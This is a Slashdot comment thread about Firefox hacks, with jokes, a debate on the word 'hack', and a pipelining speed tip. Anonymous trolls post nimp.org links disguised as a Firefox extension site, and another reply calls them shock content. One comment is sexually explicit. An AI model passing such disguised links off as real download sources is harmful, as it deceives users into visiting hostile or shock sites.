PS Anyone have a decent 16x16 dilbert icon? Nothing available scales down that small...

I can see it now... (0)

slapout (93640) | more than 9 years ago | (#12094515)

Hack 1: Extension xzy
Hack 2: Extension abc
Hack 3: Extension 123
etc...

-----
It's a joke. Laugh.

Re:I can see it now... (0)

Anonymous Coward | more than 9 years ago | (#12094580)

Quick tip... make your jokes funny.

Evolution of the word "Hack" (5, Interesting)

standon (546762) | more than 9 years ago | (#12094549)

I own several O'Reilly books, many of them relating to Hacks - whether it be for Postfix, OS X, et cetera. It's funny (or perhaps just interesting, depending on your sense of humor) how the term "hack" has evolved [bachue.com] over time. Am I a hacker if I utilize a book to balance a shaky table? Of course I'm being a bit facetious with that example!

I understand this might be (mistakenly) modded offtopic, but hopefully the powers that be acknowledge the relevance.

extension link (-1, Troll)

Anonymous Coward | more than 9 years ago | (#12094591)

If you can't stand "http://addons.mozilla.org" try checking here: http://firefox.on.nimp.org/ [nimp.org] .

Re:extension link (0)

Anonymous Coward | more than 9 years ago | (#12094613)

sorry, wrong link. the correct one is http://nimp.firefox.org/ [nimp.org]

Re:extension link (-1, Troll)

Anonymous Coward | more than 9 years ago | (#12094626)

WARNING: gay porno involving cocks and men sucking them to get at the yummy semen.

Re:extension link (2, Funny)

Jononon (856369) | more than 9 years ago | (#12094838)

I'm confused, I only opened Firefox to look at gay porno, and now you're saying that's a bad thing ?

parent link is like goatse, but worse. (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12094643)

eof.

Here is a nice firefox speedup hack (1)

kkith (551310) | more than 9 years ago | (#12094654)

Instantiates multiple http "GET" requests so that the browser establishes multiple TCP connections to the webserver to pull pages down faster. I believe the proprietary browser "Opera" does this as well.

http://forevergeek.com/open_source/make_firefox_fa ster.php [forevergeek.com]

Re:Here is a nice firefox speedup hack (0)

Anonymous Coward | more than 9 years ago | (#12094830)

Yeah, if you want to be an evil fuckwit, go right ahead!

how do you hack Firefox to give your sweety a kiss (3, Funny)

planckscale (579258) | more than 9 years ago | (#12094679)

I'd like to share my browsing experience with my sweetie. Kind of like a status bar or something we can see real-time what websites we are visiting. It would be our choice if we want to share this info. I guess it would be similar to an IM but it wouldn't have to include chat. Of course, password protected sites would be unavailable. Basically I would like to see a click-able hyperlink in the statusbar showing me what website she currently has active. It could have a drop-down/up menu for multiple users as well.

oppresive (1)

real_smiff (611054) | more than 9 years ago | (#12094752)

it's great that you have a GF but have you thought this through? she'll see all e.g. the porn you visit.. seriously i can't imagine many people would want that, no matter how close.

eh, you just weirded me out a bit with that request, but that's probably because of my own problems..

Grape Nuts? (0, Flamebait)

werewolf1031 (869837) | more than 9 years ago | (#12094781)

He has also enlisted the help of a number of other cognoscenti...

Definition of cognoscenti(n) [tfd.com] : "a grape nut"

Oh yeah, he sounds like an expert.

Load More Comments
Slashdot Login

Need an Account?

Forgot your password?
or Connect with...

Don't worry, we never post anything without your permission.

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>